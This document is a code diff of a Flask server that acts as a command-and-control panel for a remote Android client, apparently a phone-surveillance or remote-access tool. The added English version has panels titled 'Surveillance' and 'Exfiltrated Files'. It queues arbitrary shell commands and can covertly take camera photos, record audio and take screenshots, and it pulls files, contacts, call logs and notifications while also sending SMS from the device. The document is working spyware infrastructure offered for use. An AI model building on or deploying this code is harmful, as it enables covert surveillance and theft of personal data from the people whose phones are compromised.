- <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
707
- </div>
708
- <div class="control-section" style="margin-top:20px;">
709
- <h3>Результат операции:</h3>
710
- <pre id="outputAreaMediaCopy"></pre>
711
- </div>
712
- </div>
713
-
714
- <div id="clipboard" class="container hidden-section">
715
- <h2>Буфер обмена</h2>
716
- <div class="control-section"><button onclick="getClipboard()">Получить из буфера</button></div>
717
- <div class="control-section">
718
- <label for="clipboardSetText">Текст для вставки в буфер:</label>
719
- <textarea id="clipboardSetText" rows="3"></textarea>
720
- <button onclick="setClipboard()">Вставить в буфер</button>
721
- </div>
722
- <div class="control-section" style="margin-top:20px;">
723
- <h3>Результат операции с буфером:</h3>
724
- <pre id="outputAreaClipboardCopy"></pre>
725
- </div>
726
- </div>
727
-
728
- <div id="utils" class="container hidden-section">
729
- <h2>Утилиты</h2>
730
- <div class="control-section">
731
- <label for="urlToOpen">Открыть URL на устройстве:</label>
732
- <input type="text" id="urlToOpen" placeholder="https://example.com">
733
- <button onclick="openUrlOnDevice()">Открыть URL</button>
734
- </div>
735
- <div class="control-section" style="margin-top:20px;">
736
- <h3>Результат операции:</h3>
737
- <pre id="outputAreaUtilsCopy"></pre>
738
- </div>
739
- </div>
740
-
741
- <div id="system" class="container hidden-section">
742
- <h2>Системные функции</h2>
743
- <div class="control-section">
744
- <h3>Синтез речи (TTS)</h3>
745
- <label for="ttsText">Текст для озвучивания:</label>
746
- <textarea id="ttsText" rows="2">Привет, мир!</textarea>
747
- <button onclick="speakText()">Озвучить</button>
748
- </div>
749
- <div class="control-section">
750
- <h3>Вибрация</h3>
751
- <label for="vibrateDuration">Длительность (мс):</label>
752
- <input type="text" id="vibrateDuration" value="1000" style="width:100px;">
753
- <button onclick="vibrateDevice()">Вибрировать</button>
754
- </div>
755
- <div class="control-section">
756
- <h3>Фонарик</h3>
757
- <button onclick="toggleTorch('on')">Включить</button>
758
- <button onclick="toggleTorch('off')">Выключить</button>
759
- </div>
760
- <div class="control-section">
761
- <h3>Информация</h3>
762
- <button onclick="getDeviceInfo()">Информация об устройстве</button>
763
- <button onclick="getWifiInfo()">Информация о Wi-Fi</button>
764
- </div>
765
- <div class="control-section" style="margin-top:20px;">
766
- <h3>Результат операции:</h3>
767
- <pre id="outputAreaSystemCopy"></pre>
768
- </div>
769
  </div>
770
-
771
- <div id="uploads" class="container hidden-section">
772
- <h2>Файлы, загруженные С клиента на сервер</h2>
773
- <div class="control-section">
774
- <button onclick="refreshServerUploads()">Обновить список</button>
775
- <ul id="serverUploadedFiles" class="server-file-list"><li>Нет загруженных файлов.</li></ul>
776
- </div>
777
  </div>
778
- </div>
779
- </div>
780
- <script>
781
- document.addEventListener('DOMContentLoaded', () => {
782
- const outputArea = document.getElementById('outputArea');
783
- const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
784
- const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
785
- const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
786
- const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
787
- const outputAreaMessagingCopy = document.getElementById('outputAreaMessagingCopy');
788
- const outputAreaSystemCopy = document.getElementById('outputAreaSystemCopy');
789
-
790
- const observer = new MutationObserver(() => {
791
- if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
792
- if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
793
- if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
794
- if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
795
- if (outputAreaMessagingCopy && currentView === 'messaging') outputAreaMessagingCopy.innerText = outputArea.innerText;
796
- if (outputAreaSystemCopy && currentView === 'system') outputAreaSystemCopy.innerText = outputArea.innerText;
797
- });
798
- observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
799
- });
800
- </script>
801
  </body>
802
  </html>
803
  """
804
 
805
  @app.route('/')
806
  def index():
807
- return render_template_string(HTML_TEMPLATE)
 
808
 
809
  @app.route('/send_command', methods=['POST'])
810
  def handle_send_command():
811
  global pending_command, command_output
812
-
813
  data = request.json
814
- command_output = "Ожидание выполнения..."
815
 
816
- command_type = data.get('command_type')
817
 
818
- if command_type == 'list_files':
819
- pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
820
- elif command_type == 'request_download_file':
821
- pending_command = {'type': 'upload_to_server', 'filename': data.get('filename')}
822
- elif command_type == 'delete_file':
823
- pending_command = {'type': 'delete_file', 'filename': data.get('filename')}
824
- elif command_type == 'zip_and_upload_dir':
825
- pending_command = {'type': 'zip_and_upload_dir', 'path': data.get('path')}
826
- elif command_type == 'take_photo':
827
- pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
828
- elif command_type == 'record_audio':
829
- pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
830
- elif command_type == 'screenshot':
831
- pending_command = {'type': 'screenshot'}
832
- elif command_type == 'shell':
833
- pending_command = {'type': 'shell', 'command': data.get('command')}
834
- elif command_type == 'receive_file':
835
- server_filename = data.get('server_filename')
836
- target_path = data.get('target_path_on_device')
837
- file_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
838
- if server_filename and target_path and os.path.exists(file_path):
839
- pending_command = {
840
- 'type': 'receive_file',
841
- 'download_url': url_for('download_to_client', filename=server_filename, _external=True),
842
- 'target_path': target_path,
843
- 'original_filename': server_filename.split('_', 1)[1] if '_' in server_filename else server_filename
844
- }
845
- else:
846
- command_output = f"Ошибка: Файл {server_filename} не найден на сервере."
847
- elif command_type == 'clipboard_get':
848
- pending_command = {'type': 'clipboard_get'}
849
- elif command_type == 'clipboard_set':
850
- pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
851
- elif command_type == 'open_url':
852
- pending_command = {'type': 'open_url', 'url': data.get('url')}
853
- elif command_type == 'get_device_status':
854
- pending_command = {'type': 'get_device_status', 'item': data.get('item')}
855
- elif command_type == 'get_notifications':
856
- pending_command = {'type': 'get_notifications'}
857
- elif command_type == 'get_contacts':
858
- pending_command = {'type': 'get_contacts'}
859
- elif command_type == 'send_sms':
860
- pending_command = {'type': 'send_sms', 'number': data.get('number'), 'text': data.get('text')}
861
- elif command_type == 'get_call_log':
862
- pending_command = {'type': 'get_call_log'}
863
- elif command_type == 'tts_speak':
864
- pending_command = {'type': 'tts_speak', 'text': data.get('text')}
865
- elif command_type == 'vibrate':
866
- pending_command = {'type': 'vibrate', 'duration': data.get('duration', '1000')}
867
- elif command_type == 'torch':
868
- pending_command = {'type': 'torch', 'state': data.get('state', 'off')}
869
- elif command_type == 'get_device_info':
870
- pending_command = {'type': 'get_device_info'}
871
- elif command_type == 'get_wifi_info':
872
- pending_command = {'type': 'get_wifi_info'}
873
- else:
874
- command_output = "Неизвестный тип команды."
875
-
876
- return jsonify({'status': 'command_queued'})
877
 
878
  @app.route('/get_command', methods=['GET'])
879
  def get_command():
880
  global pending_command
881
  if pending_command:
882
- cmd_to_send = pending_command
883
- pending_command = None
884
- return jsonify(cmd_to_send)
885
  return jsonify(None)
886
 
887
  @app.route('/submit_client_data', methods=['POST'])
888
- def submit_client_data():
889
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
890
-
891
  data = request.json
892
- if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
893
-
894
- last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
895
-
896
- if 'output' in data:
897
- command_output = data['output']
898
 
899
- if 'current_path' in data:
900
- current_client_path = data['current_path']
901
-
902
- if 'device_status_update' in data:
903
- device_status_info.update(data['device_status_update'])
904
-
905
- if 'notifications_update' in data:
906
- notifications_history = data['notifications_update']
907
 
908
- if 'contacts_update' in data:
909
- contacts_list = data['contacts_update']
910
-
911
- if 'heartbeat' in data and data['heartbeat'] and not any(k in data for k in ['output', 'device_status_update', 'notifications_update', 'contacts_update']):
912
- command_output = "Клиент онлайн."
913
-
914
- return jsonify({'status': 'data_received'})
915
 
916
- @app.route('/upload_from_client', methods=['POST'])
917
- def upload_from_client_route():
918
- global command_output, last_client_heartbeat
919
- last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
920
- if 'file' not in request.files:
921
- return jsonify({'status': 'error', 'message': 'No file part'})
922
-
923
- file = request.files['file']
924
- if file.filename == '':
925
- return jsonify({'status': 'error', 'message': 'No selected file'})
926
-
927
- if file:
928
- filename = werkzeug.utils.secure_filename(file.filename)
929
- filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
930
-
931
- base, ext = os.path.splitext(filename)
932
- counter = 1
933
- while os.path.exists(filepath):
934
- filename = f"{base}_{counter}{ext}"
935
- filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
936
- counter += 1
937
-
938
- try:
939
- file.save(filepath)
940
- command_output = f"Файл '{filename}' успешно загружен С клиента."
941
- return jsonify({'status': 'success', 'filename': filename})
942
- except Exception as e:
943
- command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
944
- return jsonify({'status': 'error', 'message': str(e)})
945
-
946
- @app.route('/get_status_output', methods=['GET'])
947
- def get_status_output_route():
948
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
949
  return jsonify({
950
- 'output': command_output,
951
- 'last_heartbeat': last_client_heartbeat,
952
- 'current_path': current_client_path,
953
- 'device_status': device_status_info,
954
  'notifications': notifications_history,
955
  'contacts': contacts_list
956
  })
957
 
 
 
 
 
 
 
 
 
 
958
  @app.route('/uploads_from_client/<path:filename>')
959
- def uploaded_file_from_client(filename):
960
  return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
961
 
962
- @app.route('/delete_uploaded_file/<path:filename>', methods=['POST'])
963
- def delete_uploaded_file_route(filename):
964
- try:
965
- secure_name = werkzeug.utils.secure_filename(filename)
966
- file_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_name)
967
- if os.path.exists(file_path) and os.path.isfile(file_path):
968
- os.remove(file_path)
969
- return jsonify({'status': 'success', 'message': f'Файл {secure_name} удален.'})
970
- else:
971
- return jsonify({'status': 'error', 'message': 'Файл не найден.'}), 404
972
- except Exception as e:
973
- return jsonify({'status': 'error', 'message': str(e)}), 500
974
-
975
- @app.route('/list_uploaded_files')
976
- def list_uploaded_files_route():
977
- files_details = []
978
- upload_folder = app.config['UPLOAD_FOLDER']
979
- image_extensions = {'.jpg', '.jpeg', '.png', '.gif', '.bmp', '.webp'}
980
- try:
981
- for f_name in os.listdir(upload_folder):
982
- f_path = os.path.join(upload_folder, f_name)
983
- if os.path.isfile(f_path):
984
- stats = os.stat(f_path)
985
- files_details.append({
986
- 'name': f_name,
987
- 'size': stats.st_size,
988
- 'mtime': stats.st_mtime,
989
- 'is_image': os.path.splitext(f_name)[1].lower() in image_extensions
990
- })
991
- except Exception:
992
- pass
993
- files_details.sort(key=lambda x: x['mtime'], reverse=True)
994
- return jsonify({'files': files_details})
995
-
996
  @app.route('/upload_to_server_for_client', methods=['POST'])
997
- def upload_to_server_for_client_route():
998
- if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file part'}), 400
999
- file = request.files['file_to_device']
1000
- target_path = request.form.get('target_path_on_device')
1001
- if file.filename == '' or not target_path: return jsonify({'status': 'error', 'message': 'Missing file or path'}), 400
1002
-
1003
- original_filename = werkzeug.utils.secure_filename(file.filename)
1004
- server_filename = str(uuid.uuid4()) + "_" + original_filename
1005
- filepath = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
1006
- try:
1007
- file.save(filepath)
1008
- return jsonify({
1009
- 'status': 'success',
1010
- 'server_filename': server_filename,
1011
- 'target_path_on_device': target_path
1012
- })
1013
- except Exception as e:
1014
- return jsonify({'status': 'error', 'message': str(e)}), 500
1015
 
1016
  @app.route('/download_to_client/<filename>')
1017
- def download_to_client(filename):
1018
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename)
1019
 
1020
  if __name__ == '__main__':
 
3
  import datetime
4
  import uuid
5
  import werkzeug.utils
6
+ import json
 
7
 
8
  app = Flask(__name__)
9
  app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
 
13
  os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
14
 
15
  pending_command = None
16
+ command_output = "Waiting for client..."
17
  last_client_heartbeat = None
18
+ current_client_path = "~"
 
19
  device_status_info = {}
20
  notifications_history = []
21
  contacts_list = []
22
 
 
23
  HTML_TEMPLATE = """
24
  <!DOCTYPE html>
25
+ <html lang="en">
26
  <head>
27
+ <meta charset="UTF-8">
28
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
29
+ <title>Pixel Tracker Admin</title>
30
+ <style>
31
+ body{font-family:sans-serif;margin:0;padding:0;background:#f4f4f4;display:flex;height:100vh}
32
+ .sidebar{width:240px;background:#333;color:#fff;overflow-y:auto}
33
+ .sidebar h2{text-align:center;padding:10px;border-bottom:1px solid #555}
34
+ .sidebar ul{list-style:none;padding:0}
35
+ .sidebar li a{display:block;padding:15px;color:#ccc;text-decoration:none;border-bottom:1px solid #444}
36
+ .sidebar li a:hover,.sidebar li a.active{background:#444;color:#fff}
37
+ .content{flex:1;padding:20px;overflow-y:auto}
38
+ .panel{background:#fff;padding:20px;border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.1);margin-bottom:20px;display:none}
39
+ .panel.active{display:block}
40
+ .status-bar{background:#ddd;padding:10px;margin-bottom:20px;border-radius:5px;font-weight:bold}
41
+ .online{color:green}.offline{color:red}
42
+ pre{background:#222;color:#0f0;padding:15px;border-radius:5px;overflow-x:auto;white-space:pre-wrap}
43
+ input,button,select,textarea{padding:10px;margin:5px 0;border-radius:3px;border:1px solid #ccc;width:100%;box-sizing:border-box}
44
+ button{background:#007bff;color:#fff;border:none;cursor:pointer}
45
+ button:hover{background:#0056b3}
46
+ .file-list li{display:flex;justify-content:space-between;padding:5px;border-bottom:1px solid #eee}
47
+ </style>
48
+ <script>
49
+ async function api(endpoint, data={}){
50
+ return await fetch(endpoint, {method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)});
51
+ }
52
+ function show(id){
53
+ document.querySelectorAll('.panel').forEach(d=>d.classList.remove('active'));
54
+ document.getElementById(id).classList.add('active');
55
+ document.querySelectorAll('.sidebar a').forEach(a=>a.classList.remove('active'));
56
+ event.target.classList.add('active');
57
+ }
58
+ async function update(){
59
+ let r = await fetch('/get_status');
60
+ let d = await r.json();
61
+ document.getElementById('out').innerText = d.output;
62
+ document.getElementById('path').innerText = d.path;
63
+ let hb = new Date(d.heartbeat);
64
+ let diff = (new Date()-hb)/1000;
65
+ let st = document.getElementById('stat');
66
+ st.innerText = diff < 30 ? "ONLINE" : "OFFLINE";
67
+ st.className = diff < 30 ? "online" : "offline";
68
+ if(d.status){
69
+ let bat = d.status.battery || {};
70
+ let loc = d.status.location || {};
71
+ document.getElementById('dev_stat').innerHTML = `Battery: ${bat.percentage}%<br>Location: ${loc.latitude}, ${loc.longitude}`;
72
+ }
73
+ renderList('notif_list', d.notifications, item => `<b>${item.packageName}</b>: ${item.title} - ${item.content}`);
74
+ renderList('cont_list', d.contacts, item => `<b>${item.name}</b>: ${item.number}`);
75
+ }
76
+ function renderList(id, list, fmt){
77
+ let el = document.getElementById(id);
78
+ el.innerHTML = '';
79
+ list.forEach(i=>{let d=document.createElement('div');d.innerHTML=fmt(i);d.style.borderBottom='1px solid #eee';d.style.padding='5px';el.appendChild(d)});
80
+ }
81
+ function send(type, args={}){ args.command_type=type; api('/send_command', args); }
82
+ function sh(){ send('shell', {command:document.getElementById('cmd').value}); document.getElementById('cmd').value=''; }
83
+ function nav(p){ send('list_files', {path:p}); }
84
+ function dl(f){ send('request_download_file', {filename:f}); }
85
+ function zip(f){ send('zip_and_upload_dir', {path:f}); }
86
+ function del(f){ if(confirm('Del?')) send('delete_file', {filename:f}); }
87
+ async function upload_srv(e){
88
+ e.preventDefault();
89
+ let f = new FormData(document.getElementById('up_form'));
90
+ await fetch('/upload_to_server_for_client', {method:'POST',body:f});
91
+ alert('Uploaded to server. Now initiating client download.');
92
+ }
93
+ setInterval(update, 3000);
94
+ window.onload=update;
95
+ </script>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
96
  </head>
97
  <body>
98
+ <div class="sidebar">
99
+ <h2>Tracker</h2>
100
+ <ul>
101
+ <li><a href="#" onclick="show('dash')" class="active">Dashboard</a></li>
102
+ <li><a href="#" onclick="show('files')">Files</a></li>
103
+ <li><a href="#" onclick="show('media')">Media</a></li>
104
+ <li><a href="#" onclick="show('info')">Info & Logs</a></li>
105
+ <li><a href="#" onclick="show('server')">Server Files</a></li>
106
+ </ul>
107
+ </div>
108
+ <div class="content">
109
+ <div class="status-bar">Status: <span id="stat" class="offline">Checking...</span> | Path: <span id="path">~</span></div>
110
+
111
+ <div id="dash" class="panel active">
112
+ <h3>Shell</h3>
113
+ <input id="cmd" placeholder="Command..." onkeypress="if(event.key==='Enter') sh()">
114
+ <button onclick="sh()">Run</button>
115
+ <h3>Output</h3>
116
+ <pre id="out"></pre>
117
+ <h3>Device Status</h3>
118
+ <div id="dev_stat">No Data</div>
119
+ <button onclick="send('get_device_status')">Refresh Status</button>
120
+ </div>
121
+
122
+ <div id="files" class="panel">
123
+ <h3>File Manager</h3>
124
+ <button onclick="nav('~')">Home</button>
125
+ <button onclick="nav('/sdcard')">SD Card</button>
126
+ <input id="cpath" placeholder="Path...">
127
+ <button onclick="nav(document.getElementById('cpath').value)">Go</button>
128
+ <hr>
129
+ <form id="up_form" onsubmit="upload_srv(event)">
130
+ <input type="file" name="file_to_device">
131
+ <input name="target_path_on_device" value="/sdcard/Download/">
132
+ <button type="submit">Upload to Device</button>
133
+ </form>
134
+ <p>Use shell 'ls -F' to see files, then type name below to action.</p>
135
+ <input id="tfile" placeholder="Target filename/folder">
136
+ <button onclick="dl(document.getElementById('tfile').value)">Download File</button>
137
+ <button onclick="zip(document.getElementById('tfile').value)">Zip & Download Folder</button>
138
+ <button onclick="del(document.getElementById('tfile').value)" style="background:red">Delete</button>
139
+ </div>
140
+
141
+ <div id="media" class="panel">
142
+ <h3>Surveillance</h3>
143
+ <button onclick="send('take_photo', {camera_id:'0'})">Rear Cam</button>
144
+ <button onclick="send('take_photo', {camera_id:'1'})">Front Cam</button>
145
+ <button onclick="send('screenshot')">Screenshot</button>
146
+ <button onclick="send('record_audio', {duration:10})">Rec Audio (10s)</button>
147
+ <hr>
148
+ <input id="tts" placeholder="TTS Text">
149
+ <button onclick="send('tts_speak', {text:document.getElementById('tts').value})">Speak</button>
150
+ <button onclick="send('torch', {state:'on'})">Torch ON</button>
151
+ <button onclick="send('torch', {state:'off'})">Torch OFF</button>
152
+ </div>
153
+
154
+ <div id="info" class="panel">
155
+ <h3>Data</h3>
156
+ <button onclick="send('get_notifications')">Get Notifications</button>
157
+ <button onclick="send('get_contacts')">Get Contacts</button>
158
+ <button onclick="send('get_call_log')">Get Call Log</button>
159
+ <button onclick="send('get_wifi_info')">Get WiFi Info</button>
160
+ <button onclick="send('get_device_info')">Device Info</button>
161
+ <div style="display:flex">
162
+ <div style="flex:1;margin-right:10px">
163
+ <h4>Notifications</h4>
164
+ <div id="notif_list" style="max-height:300px;overflow:auto"></div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
165
  </div>
166
+ <div style="flex:1">
167
+ <h4>Contacts</h4>
168
+ <div id="cont_list" style="max-height:300px;overflow:auto"></div>
 
 
 
 
169
  </div>
170
+ </div>
171
+ <h4>SMS</h4>
172
+ <input id="sms_n" placeholder="Number">
173
+ <input id="sms_t" placeholder="Message">
174
+ <button onclick="send('send_sms', {number:document.getElementById('sms_n').value, text:document.getElementById('sms_t').value})">Send SMS</button>
175
+ </div>
176
+
177
+ <div id="server" class="panel">
178
+ <h3>Exfiltrated Files</h3>
179
+ <button onclick="location.reload()">Refresh</button>
180
+ <ul class="file-list">
181
+ {% for f in uploaded_files %}
182
+ <li>
183
+ <a href="/uploads_from_client/{{f}}" target="_blank">{{f}}</a>
184
+ </li>
185
+ {% endfor %}
186
+ </ul>
187
+ </div>
188
+ </div>
 
 
 
 
189
  </body>
190
  </html>
191
  """
192
 
193
  @app.route('/')
194
  def index():
195
+ files = sorted(os.listdir(app.config['UPLOAD_FOLDER']))
196
+ return render_template_string(HTML_TEMPLATE, uploaded_files=files)
197
 
198
  @app.route('/send_command', methods=['POST'])
199
  def handle_send_command():
200
  global pending_command, command_output
 
201
  data = request.json
202
+ cmd_type = data.get('command_type')
203
 
204
+ command_payload = {'type': cmd_type}
205
 
206
+ if cmd_type == 'shell': command_payload['command'] = data.get('command')
207
+ elif cmd_type == 'list_files': command_payload['path'] = data.get('path')
208
+ elif cmd_type == 'request_download_file': command_payload = {'type': 'upload_to_server', 'filename': data.get('filename')}
209
+ elif cmd_type == 'zip_and_upload_dir': command_payload['path'] = data.get('path')
210
+ elif cmd_type == 'delete_file': command_payload['filename'] = data.get('filename')
211
+ elif cmd_type == 'take_photo': command_payload['camera_id'] = data.get('camera_id')
212
+ elif cmd_type == 'record_audio': command_payload['duration'] = data.get('duration')
213
+ elif cmd_type == 'clipboard_set': command_payload['text'] = data.get('text')
214
+ elif cmd_type == 'open_url': command_payload['url'] = data.get('url')
215
+ elif cmd_type == 'send_sms':
216
+ command_payload['number'] = data.get('number')
217
+ command_payload['text'] = data.get('text')
218
+ elif cmd_type == 'tts_speak': command_payload['text'] = data.get('text')
219
+ elif cmd_type == 'vibrate': command_payload['duration'] = data.get('duration')
220
+ elif cmd_type == 'torch': command_payload['state'] = data.get('state')
221
+ elif cmd_type == 'receive_file':
222
+ fname = data.get('server_filename')
223
+ command_payload['download_url'] = url_for('download_client', filename=fname, _external=True)
224
+ command_payload['target_path'] = data.get('target_path_on_device')
225
+ command_payload['original_filename'] = fname.split('_', 1)[1] if '_' in fname else fname
226
+
227
+ pending_command = command_payload
228
+ command_output = "Command queued..."
229
+ return jsonify({'status': 'queued'})
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
230
 
231
  @app.route('/get_command', methods=['GET'])
232
  def get_command():
233
  global pending_command
234
  if pending_command:
235
+ c = pending_command
236
+ pending_command = None
237
+ return jsonify(c)
238
  return jsonify(None)
239
 
240
  @app.route('/submit_client_data', methods=['POST'])
241
+ def submit_data():
242
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
 
243
  data = request.json
244
+ if not data: return jsonify({'status':'no_data'}), 400
 
 
 
 
 
245
 
246
+ last_client_heartbeat = datetime.datetime.utcnow().isoformat()
247
+ if 'output' in data: command_output = data['output']
248
+ if 'current_path' in data: current_client_path = data['current_path']
249
+ if 'device_status_update' in data: device_status_info = data['device_status_update']
250
+ if 'notifications_update' in data: notifications_history = data['notifications_update']
251
+ if 'contacts_update' in data: contacts_list = data['contacts_update']
 
 
252
 
253
+ return jsonify({'status': 'ok'})
 
 
 
 
 
 
254
 
255
+ @app.route('/get_status', methods=['GET'])
256
+ def get_status():
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
257
  return jsonify({
258
+ 'output': command_output,
259
+ 'heartbeat': last_client_heartbeat,
260
+ 'path': current_client_path,
261
+ 'status': device_status_info,
262
  'notifications': notifications_history,
263
  'contacts': contacts_list
264
  })
265
 
266
+ @app.route('/upload_from_client', methods=['POST'])
267
+ def upload_rx():
268
+ f = request.files['file']
269
+ if f:
270
+ fn = werkzeug.utils.secure_filename(f.filename)
271
+ f.save(os.path.join(app.config['UPLOAD_FOLDER'], fn))
272
+ return jsonify({'status': 'success'})
273
+ return jsonify({'status': 'error'}), 400
274
+
275
  @app.route('/uploads_from_client/<path:filename>')
276
+ def serve_upload(filename):
277
  return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
278
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
279
  @app.route('/upload_to_server_for_client', methods=['POST'])
280
+ def upload_tx():
281
+ global pending_command
282
+ f = request.files['file_to_device']
283
+ target = request.form.get('target_path_on_device')
284
+ if f and target:
285
+ fn = str(uuid.uuid4()) + "_" + werkzeug.utils.secure_filename(f.filename)
286
+ f.save(os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], fn))
287
+ pending_command = {
288
+ 'type': 'receive_file',
289
+ 'download_url': url_for('download_client', filename=fn, _external=True),
290
+ 'target_path': target,
291
+ 'original_filename': werkzeug.utils.secure_filename(f.filename)
292
+ }
293
+ return jsonify({'status': 'success'})
294
+ return jsonify({'status': 'error'}), 400
 
 
 
295
 
296
  @app.route('/download_to_client/<filename>')
297
+ def download_client(filename):
298
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename)
299
 
300
  if __name__ == '__main__':